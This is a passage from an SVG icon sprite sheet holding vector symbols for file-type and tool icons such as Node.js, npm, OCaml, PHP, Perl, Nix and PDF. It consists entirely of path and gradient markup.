2.2z"/><path d="M99.3 78.5c-.4 2.7-1.2 5.8-2.9 7.8-.2.2-.4.3-.6.3h-5c-.2 0-.5-.1-.6-.3-1.2-1.5-2-3.5-2.5-5.6 0 0 5.8.8 9.1-.4 2.4-.9 2.5-1.8 2.5-1.8z"/></g></symbol><symbol viewBox="0 0 24 24" id="movie" xmlns="http://www.w3.org/2000/svg"><path d="M18 4l2 4h-3l-2-4h-2l2 4h-3l-2-4H8l2 4H7L5 4H4a2 2 0 0 0-2 2v12a2 2 0 0 0 2 2h16a2 2 0 0 0 2-2V4h-4z" fill="#ff9800"/></symbol><symbol viewBox="0 0 24 24" id="music" xmlns="http://www.w3.org/2000/svg"><path d="M16 9V7h-4v5.5c-.42-.31-.93-.5-1.5-.5A2.5 2.5 0 0 0 8 14.5a2.5 2.5 0 0 0 2.5 2.5 2.5 2.5 0 0 0 2.5-2.5V9h3m-4-7a10 10 0 0 1 10 10 10 10 0 0 1-10 10A10 10 0 0 1 2 12 10 10 0 0 1 12 2z" fill="#ef5350"/></symbol><symbol viewBox="0 0 24 24" id="mxml" xmlns="http://www.w3.org/2000/svg"><path d="M13 9h5.5L13 3.5V9M6 2h8l6 6v12a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4c0-1.11.89-2 2-2m.12 13.5l3.74 3.74 1.42-1.41-2.33-2.33 2.33-2.33-1.42-1.41-3.74 3.74m11.16 0l-3.74-3.74-1.42 1.41 2.33 2.33-2.33 2.33 1.42 1.41 3.74-3.74z" fill="#ffa726"/></symbol><symbol viewBox="0 0 300 300" id="ngrx-actions" xmlns="http://www.w3.org/2000/svg"><path d="M150 27.324L35.85 68.006l17.303 151.09 96.843 53.586 96.843-53.586 17.303-151.09zm-23.719 38.349c4.346-.075 9.04 1.316 14.265 4.131 2.3 1.24 9.235 2.994 15.407 3.889 21.936 3.18 47.975 19.934 56.21 36.186 5.667 11.183 4.508 17.209-4.18 21.702-7.492 3.874-22.822 2-45.08-5.517l-18.785-6.343-6.683 2.552c-9.683 3.698-19.366 12.877-23.33 22.09-2.858 6.645-3.293 9.768-2.77 20.705.523 10.955 1.315 14.12 5.2 20.997 4.423 7.829 14.576 17.818 16.331 16.064.473-.473-.574-3.648-2.308-7.048-1.735-3.4-2.744-6.825-2.26-7.606.482-.781 5.054 2.123 10.157 6.44 11.35 9.6 24.608 15.74 36.77 17.01 9.985 1.045 12.266-.814 4.787-3.912-2.41-.998-5.544-3.088-6.95-4.641-2.907-3.212-3.072-3.12 9.356-5.906 7.736-1.733 23.026-9.849 23.937-12.71.29-.91-2.195-1.296-6.27-.972-3.706.295-6.732-.087-6.732-.85 0-.76 3.032-4.523 6.732-8.385 13.883-14.489 18.62-25.32 20.098-45.906l1.02-14.217 3.257 6.756c3.601 7.452 4.265 18.202 1.701 27.437-2.141 7.711-.712 8.564 3.208 1.92 4.845-8.212 6.39-6.905 5.54 4.666-.924 12.587-5.243 22.017-14.993 32.686-7.95 8.699-7.001 10.254 2.624 4.326 9.273-5.711 10.511-4.815 5.736 4.155-9.031 16.964-28.122 31.35-47.948 36.161-12.016 2.917-20.537 3.461-31.544 2.018-28.78-3.775-56.001-23.157-68.993-49.114-3.378-6.748-8.154-14.994-10.62-18.348-5.092-6.924-5.529-10.038-2.09-15.286 1.715-2.618 2.116-5.307 1.41-9.308-3.273-18.531-3.167-19.11 4.276-26.659 6.468-6.56 6.878-7.44 6.878-15.092 0-6.637.671-8.813 3.67-11.811 2.02-2.02 5.23-3.7 7.12-3.718 5.49-.05 14.97-5.135 20.584-11.033 4.687-4.927 9.674-7.417 15.262-7.51z" fill="#ab47bc" stroke-width="12.914"/></symbol><symbol viewBox="0 0 300 300" id="ngrx-effects" xmlns="http://www.w3.org/2000/svg"><path d="M150 27.324L35.85 68.006l17.303 151.09 96.843 53.586 96.843-53.586 17.303-151.09zm-23.719 38.349c4.346-.075 9.04 1.316 14.265 4.131 2.3 1.24 9.235 2.994 15.407 3.889 21.936 3.18 47.975 19.934 56.21 36.186 5.667 11.183 4.508 17.209-4.18 21.702-7.492 3.874-22.822 2-45.08-5.517l-18.785-6.343-6.683 2.552c-9.683 3.698-19.366 12.877-23.33 22.09-2.858 6.645-3.293 9.768-2.77 20.705.523 10.955 1.315 14.12 5.2 20.997 4.423 7.829 14.576 17.818 16.331 16.064.473-.473-.574-3.648-2.308-7.048-1.735-3.4-2.744-6.825-2.26-7.606.482-.781 5.054 2.123 10.157 6.44 11.35 9.6 24.608 15.74 36.77 17.01 9.985 1.045 12.266-.814 4.787-3.912-2.41-.998-5.544-3.088-6.95-4.641-2.907-3.212-3.072-3.12 9.356-5.906 7.736-1.733 23.026-9.849 23.937-12.71.29-.91-2.195-1.296-6.27-.972-3.706.295-6.732-.087-6.732-.85 0-.76 3.032-4.523 6.732-8.385 13.883-14.489 18.62-25.32 20.098-45.906l1.02-14.217 3.257 6.756c3.601 7.452 4.265 18.202 1.701 27.437-2.141 7.711-.712 8.564 3.208 1.92 4.845-8.212 6.39-6.905 5.54 4.666-.924 12.587-5.243 22.017-14.993 32.686-7.95 8.699-7.001 10.254 2.624 4.326 9.273-5.711 10.511-4.815 5.736 4.155-9.031 16.964-28.122 31.35-47.948 36.161-12.016 2.917-20.537 3.461-31.544 2.018-28.78-3.775-56.001-23.157-68.993-49.114-3.378-6.748-8.154-14.994-10.62-18.348-5.092-6.924-5.529-10.038-2.09-15.286 1.715-2.618 2.116-5.307 1.41-9.308-3.273-18.531-3.167-19.11 4.276-26.659 6.468-6.56 6.878-7.44 6.878-15.092 0-6.637.671-8.813 3.67-11.811 2.02-2.02 5.23-3.7 7.12-3.718 5.49-.05 14.97-5.135 20.584-11.033 4.687-4.927 9.674-7.417 15.262-7.51z" fill="#26c6da" stroke-width="12.914"/></symbol><symbol viewBox="0 0 300 300" id="ngrx-reducer" xmlns="http://www.w3.org/2000/svg"><path d="M150 27.324L35.85 68.006l17.303 151.09 96.843 53.586 96.843-53.586 17.303-151.09zm-23.719 38.349c4.346-.075 9.04 1.316 14.265 4.131 2.3 1.24 9.235 2.994 15.407 3.889 21.936 3.18 47.975 19.934 56.21 36.186 5.667 11.183 4.508 17.209-4.18 21.702-7.492 3.874-22.822 2-45.08-5.517l-18.785-6.343-6.683 2.552c-9.683 3.698-19.366 12.877-23.33 22.09-2.858 6.645-3.293 9.768-2.77 20.705.523 10.955 1.315 14.12 5.2 20.997 4.423 7.829 14.576 17.818 16.331 16.064.473-.473-.574-3.648-2.308-7.048-1.735-3.4-2.744-6.825-2.26-7.606.482-.781 5.054 2.123 10.157 6.44 11.35 9.6 24.608 15.74 36.77 17.01 9.985 1.045 12.266-.814 4.787-3.912-2.41-.998-5.544-3.088-6.95-4.641-2.907-3.212-3.072-3.12 9.356-5.906 7.736-1.733 23.026-9.849 23.937-12.71.29-.91-2.195-1.296-6.27-.972-3.706.295-6.732-.087-6.732-.85 0-.76 3.032-4.523 6.732-8.385 13.883-14.489 18.62-25.32 20.098-45.906l1.02-14.217 3.257 6.756c3.601 7.452 4.265 18.202 1.701 27.437-2.141 7.711-.712 8.564 3.208 1.92 4.845-8.212 6.39-6.905 5.54 4.666-.924 12.587-5.243 22.017-14.993 32.686-7.95 8.699-7.001 10.254 2.624 4.326 9.273-5.711 10.511-4.815 5.736 4.155-9.031 16.964-28.122 31.35-47.948 36.161-12.016 2.917-20.537 3.461-31.544 2.018-28.78-3.775-56.001-23.157-68.993-49.114-3.378-6.748-8.154-14.994-10.62-18.348-5.092-6.924-5.529-10.038-2.09-15.286 1.715-2.618 2.116-5.307 1.41-9.308-3.273-18.531-3.167-19.11 4.276-26.659 6.468-6.56 6.878-7.44 6.878-15.092 0-6.637.671-8.813 3.67-11.811 2.02-2.02 5.23-3.7 7.12-3.718 5.49-.05 14.97-5.135 20.584-11.033 4.687-4.927 9.674-7.417 15.262-7.51z" fill="#e53935" stroke-width="12.914"/></symbol><symbol viewBox="0 0 300 300" id="ngrx-state" xmlns="http://www.w3.org/2000/svg"><path d="M150 27.324L35.85 68.006l17.303 151.09 96.843 53.586 96.843-53.586 17.303-151.09zm-23.719 38.349c4.346-.075 9.04 1.316 14.265 4.131 2.3 1.24 9.235 2.994 15.407 3.889 21.936 3.18 47.975 19.934 56.21 36.186 5.667 11.183 4.508 17.209-4.18 21.702-7.492 3.874-22.822 2-45.08-5.517l-18.785-6.343-6.683 2.552c-9.683 3.698-19.366 12.877-23.33 22.09-2.858 6.645-3.293 9.768-2.77 20.705.523 10.955 1.315 14.12 5.2 20.997 4.423 7.829 14.576 17.818 16.331 16.064.473-.473-.574-3.648-2.308-7.048-1.735-3.4-2.744-6.825-2.26-7.606.482-.781 5.054 2.123 10.157 6.44 11.35 9.6 24.608 15.74 36.77 17.01 9.985 1.045 12.266-.814 4.787-3.912-2.41-.998-5.544-3.088-6.95-4.641-2.907-3.212-3.072-3.12 9.356-5.906 7.736-1.733 23.026-9.849 23.937-12.71.29-.91-2.195-1.296-6.27-.972-3.706.295-6.732-.087-6.732-.85 0-.76 3.032-4.523 6.732-8.385 13.883-14.489 18.62-25.32 20.098-45.906l1.02-14.217 3.257 6.756c3.601 7.452 4.265 18.202 1.701 27.437-2.141 7.711-.712 8.564 3.208 1.92 4.845-8.212 6.39-6.905 5.54 4.666-.924 12.587-5.243 22.017-14.993 32.686-7.95 8.699-7.001 10.254 2.624 4.326 9.273-5.711 10.511-4.815 5.736 4.155-9.031 16.964-28.122 31.35-47.948 36.161-12.016 2.917-20.537 3.461-31.544 2.018-28.78-3.775-56.001-23.157-68.993-49.114-3.378-6.748-8.154-14.994-10.62-18.348-5.092-6.924-5.529-10.038-2.09-15.286 1.715-2.618 2.116-5.307 1.41-9.308-3.273-18.531-3.167-19.11 4.276-26.659 6.468-6.56 6.878-7.44 6.878-15.092 0-6.637.671-8.813 3.67-11.811 2.02-2.02 5.23-3.7 7.12-3.718 5.49-.05 14.97-5.135 20.584-11.033 4.687-4.927 9.674-7.417 15.262-7.51z" fill="#9ccc65" stroke-width="12.914"/></symbol><symbol viewBox="0 0 24 24" id="nim" xmlns="http://www.w3.org/2000/svg"><path d="M4.464 15.75L2.288 3.78l5.985 7.617L12.08 3.78l3.809 7.617 5.985-7.617-2.177 11.97H4.464m15.234 3.264a1.088 1.088 0 0 1-1.088 1.088H5.553a1.088 1.088 0 0 1-1.089-1.088v-1.089h15.234z" stroke-width="1.088" fill="#ffca28"/></symbol><symbol viewBox="0 0 500 500" id="nix" xmlns="http://www.w3.org/2000/svg"><g transform="translate(-1.965 36.302)" stroke-width=".395"><path d="M135.59 415.7c0-.295-2.752-5.283-6.116-11.084-3.364-5.801-6.116-10.776-6.116-11.055s9.514-16.889 21.143-36.912c11.629-20.022 21.323-36.798 21.542-37.279.346-.76-1.608-4.363-14.896-27.466-8.412-14.625-15.294-26.785-15.294-27.023 0-.5 24.46-43.501 25.206-44.31.414-.45.592-.384 1.078.395.32.513 16.876 29.256 36.791 63.87 62.62 108.85 74.852 130.01 75.41 130.46.3.242.544.554.544.694 0 .14-11.836.21-26.302.154-23.023-.09-26.313-.175-26.393-.694-.11-.714-27.662-48.825-28.86-50.392-.746-.978-.906-1.035-1.426-.51-.688.696-28.954 49.323-29.49 50.733l-.365.96h-13.229c-10.896 0-13.229-.095-13.229-.538zm167.58-125.61c-.134-.216 1.188-2.863 2.938-5.882 6.924-11.944 84.291-145.75 96.491-166.88 7.143-12.371 13.142-22.465 13.333-22.433.363.062 25.861 43.105 25.861 43.655 0 .174-6.761 11.952-15.026 26.173-8.46 14.557-14.932 26.104-14.81 26.421.185.483 4.564.564 30.213.564h29.996l.958 1.48c.526.814 3.296 5.547 6.155 10.518 2.859 4.971 5.45 9.29 5.756 9.597.706.705.704.724-.16 1.572-.395.388-3.36 5.323-6.587 10.965-3.228 5.643-6.056 10.387-6.285 10.543-.23.156-19.695.171-43.256.034l-42.84-.249-.804 1.15c-.441.632-7.504 12.736-15.696 26.897l-14.892 25.747H339.03c-8.517 0-20.015.116-25.55.259-6.55.168-10.15.121-10.309-.135zM169.42 132.23c-56.373-.055-102.5-.182-102.5-.282 0-.1 5.617-10.132 12.481-22.294l12.481-22.112h30.332c27.113 0 30.332-.065 30.332-.611 0-.336-6.659-12.228-14.797-26.427-8.139-14.199-14.797-25.917-14.797-26.04 0-.123 2.682-4.853 5.96-10.51s6.003-10.578 6.055-10.934c.086-.586 1.376-.648 13.572-.648 7.413 0 13.463.143 13.446.317-.017.174.222.707.531 1.184.31.476 9.763 16.937 21.007 36.578 11.244 19.64 20.71 36.022 21.036 36.4.554.647 2.549.691 31.428.691h30.837l12.896 22.145c7.093 12.18 12.8 22.301 12.682 22.492-.118.19-4.776.303-10.352.249-5.575-.054-56.26-.143-112.63-.198z" fill="#5075c1"/><path d="M25.289 203.14c-6.098 10.563-6.69 11.711-6.225 12.078.283.224 3.18 5.044 6.44 10.712 3.261 5.668 6.017 10.355 6.124 10.417.106.061 13.585.153 29.95.204 16.367.052 29.994.23 30.285.399.472.273-1.08 3.094-14.637 26.574L62.06 289.793l12.907 21.865c7.1 12.026 12.982 21.906 13.068 21.956.086.05 23.257-39.831 51.492-88.624 11.352-19.617 21.214-36.64 30.37-52.442 23.308-40.452 30.68-53.468 30.73-54.132-1.097-.11-6.141-.187-13.006-.216-3.945-.01-7.82-.02-12.75-.002l-25.341.092-15.42 26.706c-14.256 24.693-15.445 26.663-16.278 26.86l-.024.037c-.011.003-1.62-.001-1.825 0-4.29.062-20.453.063-40.226-.01-22.632-.082-41.615-.125-42.183-.096-.568.03-1.147-.03-1.29-.132-.142-.102-3.29 5.066-6.996 11.485zm205.16-190.3c-.123.149 5.62 10.392 12.761 22.763 12.199 21.131 89.393 155.03 96.276 167 1.502 2.613 2.92 4.803 3.443 5.348.9-1.249 3.531-5.63 7.954-13.219a1342.88 1342.88 0 0 1 10.049-17.76l6.606-11.443c.692-1.403.754-1.818.653-2.117-.162-.48-6.904-12.332-14.982-26.337-8.078-14.005-14.824-25.849-14.991-26.32a.73.73 0 0 1-.009-.366l-.426-.913L359.42 72.5c3.69-6.307 6.425-11.042 9.47-16.29 9.159-15.948 12.037-21.189 11.896-21.55-.126-.324-2.7-4.83-5.72-10.017-3.021-5.185-5.845-10.148-6.275-11.026-.483-.987-.734-1.364-1.1-1.456-.054.014-.083.018-.145.035-.42.112-5.454.195-11.189.185-5.734-.01-11.22.024-12.188.073l-1.76.089-14.997 25.978c-12.824 22.212-15.084 25.964-15.595 25.883-.024-.004-.15-.189-.235-.301-.109.066-.2.09-.272.05-.255-.148-7.143-11.902-15.306-26.119l-14.36-25.016c-.115-.186-.444-.744-.457-.752-.477-.275-50.502.287-50.737.57zm-18.646 283.09c-.047.109-.026.262.042.48.329 1.05 25.338 43.735 25.772 43.985.207.119 14.178.239 31.05.266 26.651.044 30.75.152 31.234.832.308.43 9.988 17.214 21.513 37.296s21.152 36.627 21.394 36.767c.242.14 5.927.243 12.633.23 6.706-.013 12.401.099 12.657.246.132.076.382-.141.852-.795l6.008-10.406c5.234-9.065 6.62-11.684 6.294-11.888-.575-.36-15.597-26.643-23.859-41.482-3.09-5.45-5.37-9.516-5.441-9.774-.195-.712-.065-.822 1.156-.98 1.956-.252 57.397-.057 58.07.205.238.092.79-.569 2.594-3.497 1.866-3.067 5.03-8.524 11-18.866 7.22-12.505 13.044-22.784 12.942-22.843-.102-.059-.771-.051-1.489.016l-.046.001c-4.452.204-33.918.203-149.74.025-38.96-.06-69.786-.09-71.912-.072-1.121.01-2.095.076-2.66.172a.25.25 0 0 0-.062.083z" fill="#7db7e1"/></g></symbol><symbol viewBox="0 0 24 24" id="nodejs" xmlns="http://www.w3.org/2000/svg"><path d="M12 1.85c-.27 0-.55.07-.78.2l-7.44 4.3c-.48.28-.78.8-.78 1.36v8.58c0 .56.3 1.08.78 1.36l1.95 1.12c.95.46 1.27.47 1.71.47 1.4 0 2.21-.85 2.21-2.33V8.44c0-.12-.1-.22-.22-.22H8.5c-.13 0-.23.1-.23.22v8.47c0 .66-.68 1.31-1.77.76L4.45 16.5a.26.26 0 0 1-.11-.21V7.71c0-.09.04-.17.11-.21l7.44-4.29c.06-.04.16-.04.22 0l7.44 4.29c.07.04.11.12.11.21v8.58c0 .08-.04.16-.11.21l-7.44 4.29c-.06.04-.16.04-.23 0L10 19.65c-.08-.03-.16-.04-.21-.01-.53.3-.63.36-1.12.51-.12.04-.31.11.07.32l2.48 1.47c.24.14.5.21.78.21s.54-.07.78-.21l7.44-4.29c.48-.28.78-.8.78-1.36V7.71c0-.56-.3-1.08-.78-1.36l-7.44-4.3c-.23-.13-.5-.2-.78-.2M14 8c-2.12 0-3.39.89-3.39 2.39 0 1.61 1.26 2.08 3.3 2.28 2.43.24 2.62.6 2.62 1.08 0 .83-.67 1.18-2.23 1.18-1.98 0-2.4-.49-2.55-1.47a.226.226 0 0 0-.22-.18h-.96c-.12 0-.21.09-.21.22 0 1.24.68 2.74 3.94 2.74 2.35 0 3.7-.93 3.7-2.55 0-1.61-1.08-2.03-3.37-2.34-2.31-.3-2.54-.46-2.54-1 0-.45.2-1.05 1.91-1.05 1.5 0 2.09.33 2.32 1.36.02.1.11.17.21.17h.97c.05 0 .11-.02.15-.07.04-.04.07-.1.05-.16C17.56 8.82 16.38 8 14 8z" fill="#8bc34a"/></symbol><symbol viewBox="0 0 300 300" id="nodemon" xmlns="http://www.w3.org/2000/svg"><title>nodemon</title><path d="M149.868 20.62c-2.124 0-4.25.55-6.154 1.648L41.899 81.083a12.306 12.306 0 0 0-6.15 10.652v117.633a12.29 12.29 0 0 0 6.152 10.646l101.815 58.766h.001a12.282 12.282 0 0 0 12.291 0l101.84-58.766a12.29 12.29 0 0 0 6.153-10.652V91.738a12.31 12.31 0 0 0-6.146-10.652L156.015 22.27a12.302 12.302 0 0 0-6.153-1.648zM83.303 70.93s11.789 33.031 35.477 31.934l27.74-15.961a7.348 7.348 0 0 1 3.414-.99h.641a7.233 7.233 0 0 1 3.404.99l27.738 15.961c23.69 1.094 35.475-31.934 35.475-31.934 5.233 23.154 1.06 38.641-5.924 48.942l4.541 2.614h.002c2.321 1.327 3.734 3.795 3.737 6.49l-.12 95.811a3.724 3.724 0 0 1-1.855 3.227 3.624 3.624 0 0 1-3.735 0L177.1 206.971c-2.311-1.363-3.742-3.818-3.742-6.48v-44.763a7.44 7.44 0 0 0-3.737-6.465l-15.642-9.01a7.28 7.28 0 0 0-3.715-1.01 7.378 7.378 0 0 0-3.742 1.01l-15.648 9.01c-2.316 1.323-3.729 3.798-3.729 6.467v44.762c0 2.663-1.413 5.1-3.738 6.48l-36.748 21.041a3.571 3.571 0 0 1-3.71 0c-1.173-.65-1.864-1.887-1.864-3.224l-.137-95.812a7.483 7.483 0 0 1 3.74-6.49l4.541-2.615c-6.982-10.302-11.16-25.79-5.925-48.942z" fill="#8bc34a"/></symbol><symbol viewBox="0 0 990 990" id="npm" xmlns="http://www.w3.org/2000/svg"><defs><style>.hncls-1{fill:#cb3837}.cls-2{fill:#fff}</style></defs><title>n</title><path class="hncls-1" d="M113.26 876.74V113.27h763.47v763.47zm143.59-620.4v476.18h240.61V355.63h140.21v376.96h95.457V256.34z" fill="#e53935" stroke-width=".771"/></symbol><symbol id="nunjucks" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg"><style>.host0{fill:#388e3c}</style><path class="host0" d="M11.2 21.1H8.1l-2.3-7.9v7.9H2.7V2.9h3.1l2.3 7.4V2.9h3.1zM21.3 19.2c0 1-.8 1.9-1.9 1.9h-4.8c-1 0-1.9-.8-1.9-1.9v-3.8l3.2-.7V18h2.3V7.2h3.1v12z"/></symbol><symbol viewBox="0 0 150 150.00001" id="ocaml" xmlns="http://www.w3.org/2000/svg"><g transform="matrix(.76136 0 0 .76136 11.616 19.98)"><path d="M83.02 101.645l.023-.062c-.035-.159-.047-.195-.024.062z" fill="none" stroke-width="1.028"/><linearGradient id="hpa" gradientUnits="userSpaceOnUse" x1="-696.735" y1="97.7" x2="-696.735" y2="142.997" gradientTransform="matrix(1.02783 0 0 1.02783 776.895 2.337)"><stop offset="0" stop-color="#f29100"/><stop offset="1" stop-color="#ec670f"/></linearGradient><path d="M82.313 138.79c-.471-1.004-1.904-3.621-2.624-4.46-1.562-1.828-1.927-1.966-2.386-4.275-.799-4.02-2.913-11.31-5.405-16.341-1.286-2.596-3.426-4.777-5.385-6.66-1.71-1.652-5.565-4.431-6.237-4.294-6.296 1.257-8.249 7.432-11.21 12.323-1.638 2.705-3.374 5.007-4.665 7.885-1.192 2.646-1.087 5.577-3.128 7.849-2.093 2.333-3.454 4.814-4.48 7.829-.194.574-.747 6.596-1.348 8.015l9.357-.659c8.719.594 6.2 3.936 19.81 3.208l21.487-.665c-.666-1.97-1.584-4.25-1.938-4.991-.599-1.248-1.352-3.69-1.848-4.763z" fill="url(#hpa)" stroke-width="1.028"/><linearGradient id="hpb" gradientUnits="userSpaceOnUse" x1="-666.972" y1="142.12" x2="-666.972" y2="142.12" gradientTransform="matrix(1.02783 0 0 1.02783 776.895 2.337)"><stop offset="0" stop-color="#f29100"/><stop offset="1" stop-color="#ec670f"/></linearGradient><linearGradient id="hpc" gradientUnits="userSpaceOnUse" x1="-675.228" y1="-1.28" x2="-675.228" y2="142.967" gradientTransform="matrix(1.02783 0 0 1.02783 776.895 2.337)"><stop offset="0" stop-color="#f29100"/><stop offset="1" stop-color="#ec670f"/></linearGradient><path d="M109.553 94.296c-1.652 1.193-4.88 4.06-11.902 5.145-3.152.487-6.1.527-9.335.365-1.584-.076-3.077-.157-4.665-.177-.936-.008-4.074-.107-3.919.193l-.349.871c.054.287.169 1.004.2 1.177.129.704.165 1.265.192 1.912.048 1.331-.11 2.719-.043 4.062.141 2.787 1.175 5.326 1.306 8.137.143 3.13 1.69 6.442 3.188 8.998.569.973 1.434 1.084 1.811 2.283.442 1.373.024 2.83.239 4.293.842 5.675 2.477 11.606 5.032 16.728.018.043.038.09.06.128 3.156-.53 6.318-1.665 10.418-2.271 7.517-1.115 17.972-.54 24.688-1.17 16.993-1.597 26.216 6.97 41.478 3.459V22.459c0-11.84-9.594-21.438-21.435-21.438H19.239C7.4 1.021-2.197 10.62-2.197 22.458v46.774c3.067-1.11 7.479-7.635 8.861-9.222 2.419-2.775 2.858-6.315 4.062-8.544 2.743-5.078 3.215-8.57 9.451-8.57 2.907 0 4.061.67 6.027 3.31 1.368 1.834 3.731 5.224 4.837 7.49 1.277 2.615 3.357 6.153 4.272 6.867.677.53 1.35.928 1.976 1.163 1.012.38 1.848-.316 2.525-.855.863-.687 1.235-2.088 2.035-3.957 1.152-2.696 2.408-5.926 3.122-7.054 1.237-1.949 1.658-4.261 2.993-5.381 1.97-1.652 4.54-1.768 5.246-1.908 3.957-.781 5.755 1.906 7.704 3.645 1.276 1.138 3.019 3.432 4.256 6.507.967 2.4 2.199 4.622 2.714 6.008.497 1.339 1.725 3.484 2.453 6.055.661 2.336 2.43 4.125 3.102 5.235 0 0 1.029 2.882 7.285 5.516 1.357.572 4.1 1.501 5.736 2.096 2.718.988 5.351.86 8.704.458 2.391 0 3.686-3.462 4.772-6.234.643-1.639 1.259-6.334 1.678-7.667.406-1.297-.544-2.3.265-3.437.946-1.327 1.508-1.399 2.054-3.129 1.172-3.704 7.95-3.89 11.761-3.89 3.176 0 2.772 3.083 8.16 2.028 3.086-.605 6.059.398 9.335 1.265 2.758.732 5.352 1.566 6.906 3.385 1.005 1.178 3.5 7.08.958 7.331.244.3.423.84.88 1.135-.566 2.226-3.03.64-4.4.355-1.845-.383-3.147.057-4.952.856-3.085 1.374-7.598 1.214-10.286 3.452-2.281 1.898-2.277 6.133-3.34 8.507-.002-.001-2.955 7.6-9.402 12.248z" fill="url(#hpc)" stroke-width="1.028"/><linearGradient id="hpd" gradientUnits="userSpaceOnUse" x1="-735.137" y1="90.833" x2="-735.137" y2="141.967" gradientTransform="matrix(1.02783 0 0 1.02783 776.895 2.337)"><stop offset="0" stop-color="#f29100"/><stop offset="1" stop-color="#ec670f"/></linearGradient><path d="M38.247 105.09c-1.467-.15-2.83-.317-4.256-.605-2.662-.536-5.57-1.06-8.193-1.688-1.592-.385-6.895-2.263-8.048-2.792-2.702-1.246-4.496-4.63-6.609-4.282-1.348.22-2.662.682-3.5 2.042-.685 1.11-.917 3.016-1.391 4.294-.55 1.485-1.5 2.87-2.331 4.284-1.53 2.595-4.282 4.941-5.468 7.469-.239.52-.45 1.101-.649 1.708V144.415a48.57 48.57 0 0 1 4.45.96c11.955 3.19 14.872 3.46 26.598 2.119l1.1-.146c.897-1.867 1.59-8.227 2.171-10.195.454-1.51 1.077-2.712 1.313-4.253.223-1.463-.02-2.858-.146-4.188-.329-3.332 2.427-4.522 3.742-7.384 1.186-2.589 1.871-5.535 2.853-8.181.941-2.54 2.41-6.13 4.918-7.408-.305-.355-5.237-.518-6.554-.65z" fill="url(#hpd)" stroke-width="1.028"/></g></symbol><symbol viewBox="0 0 24 24" id="pdf" xmlns="http://www.w3.org/2000/svg"><path d="M14 9h5.5L14 3.5V9M7 2h8l6 6v12a2 2 0 0 1-2 2H7a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2m4.93 10.44c.41.9.93 1.64 1.53 2.15l.41.32c-.87.16-2.07.44-3.34.93l-.11.04.5-1.04c.45-.87.78-1.66 1.01-2.4m6.48 3.81c.18-.18.27-.41.28-.66.03-.2-.02-.39-.12-.55-.29-.47-1.04-.69-2.28-.69l-1.29.07-.87-.58c-.63-.52-1.2-1.43-1.6-2.56l.04-.14c.33-1.33.64-2.94-.02-3.6a.853.853 0 0 0-.61-.24h-.24c-.37 0-.7.39-.79.77-.37 1.33-.15 2.06.22 3.27v.01c-.25.88-.57 1.9-1.08 2.93l-.96 1.8-.89.49c-1.2.75-1.77 1.59-1.88 2.12-.04.19-.02.36.05.54l.03.05.48.31.44.11c.81 0 1.73-.95 2.97-3.07l.18-.07c1.03-.33 2.31-.56 4.03-.75 1.03.51 2.24.74 3 .74.44 0 .74-.11.91-.3m-.41-.71l.09.11c-.01.1-.04.11-.09.13h-.04l-.19.02c-.46 0-1.17-.19-1.9-.51.09-.1.13-.1.23-.1 1.4 0 1.8.25 1.9.35M8.83 17c-.65 1.19-1.24 1.85-1.69 2 .05-.38.5-1.04 1.21-1.69l.48-.31m3.02-6.91c-.23-.9-.24-1.63-.07-2.05l.07-.12.15.05c.17.24.19.56.09 1.1l-.03.16-.16.82-.05.04z" fill="#f44336"/></symbol><symbol viewBox="0 0 24 24" id="perl" xmlns="http://www.w3.org/2000/svg"><path d="M12 14c-1 0-3 1-3 2 0 2 3 2 3 2v-1a1 1 0 0 1-1-1 1 1 0 0 1 1-1v-1m0 5s-4-.5-4-2.5c0-3 3-3.75 4-3.75V11.5c-1 0-5 1.5-5 4.5 0 4 5 4 5 4v-1M10.07 7.03l1.19.53c.43-2.44 1.58-4.06 1.58-4.06-.43 1.03-.71 1.88-.89 2.55C13.16 3.55 15.61 2 15.61 2a15.916 15.916 0 0 0-2.64 3.53c1.58-1.68 3.77-2.78 3.77-2.78-2.69 1.72-3.9 4.45-4.2 5.21l.55.08c0 .52 0 1 .25 1.38C14.1 11.31 18 11.47 18 16s-4.03 6-6.17 6C9.69 22 5 21.03 5 16s4.95-5.07 5.83-7.08c.12-.38-.76-1.89-.76-1.89z" fill="#9575cd"/></symbol><symbol viewBox="0 0 24 24" id="php" xmlns="http://www.w3.org/2000/svg"><path d="M12 18.08c-6.63 0-12-2.72-12-6.08s5.37-6.08 12-6.08S24 8.64 24 12s-5.37 6.08-12 6.08m-5.19-7.95c.54 0 .91.1 1.09.31.18.2.22.56.13 1.03-.1.53-.29.87-.58 1.09-.28.22-.71.33-1.29.33h-.87l.53-2.76h.99m-3.5 5.55h1.44l.34-1.75h1.23c.54 0 .98-.06 1.33-.17.35-.12.67-.31.96-.58.24-.22.43-.46.58-.73.15-.26.26-.56.31-.88.16-.78.05-1.39-.33-1.82-.39-.44-.99-.65-1.82-.65H4.59l-1.28 6.58m7.25-8.33l-1.28 6.58h1.42l.74-3.77h1.14c.36 0 .6.06.71.18.11.12.13.34.07.66l-.57 2.93h1.45l.59-3.07c.13-.62.03-1.07-.27-1.36-.3-.27-.85-.4-1.65-.4h-1.27L12 7.35h-1.44M18 10.13c.55 0 .91.1 1.09.31.18.2.22.56.13 1.03-.1.53-.29.87-.57 1.09-.29.22-.72.33-1.3.33h-.85l.5-2.76h1m-3.5 5.55h1.44l.34-1.75h1.22c.55 0 1-.06 1.35-.17.35-.12.65-.31.95-.58.24-.22.44-.46.58-.73.15-.26.26-.56.32-.88.15-.78.04-1.39-.34-1.82-.36-.44-.99-.65-1.82-.65h-2.75l-1.29 6.58z" fill="#1E88E5"/></symbol><symbol viewBox="0 0 79 78" id="postcss" xmlns="http://www.w3.org/2000/svg"><title>postcss-logo-symbol</title><g transform="translate(5.48 5.52) scale(.85425)" fill="#e53935" fill-rule="evenodd" stroke="#e53935" stroke-width="1.519"><path d="M15.447 32.623c.106.08.29.132.106.29-.132.184-.29.342-.395.553-.105.185-.184.237-.342.106.21-.343.42-.66.63-.95zM68.342 60.24c0 .078.026.13.026.21.053-.105.053-.158.08-.21zm0 .236v-.026zm-5.368 10.277l-4.58-25.402c-.078-.025-.183-.077-.368-.13.053.105.08.184.106.263.13-.026.184-.026.236-.052 0-.026 0-.052.027-.08l4.58 25.404zm-4.737-31.12c-.026.078-.026.158-.026.237 0-.08 0-.16.028-.238zm.026.526c-.026 0-.026 0-.052-.028v.026c.028.026.028.026.054 0zm-.052.21v-.185c-.077.026-.156.026-.262.053.132.05.264.078.264.13z"/><path d="M78.71 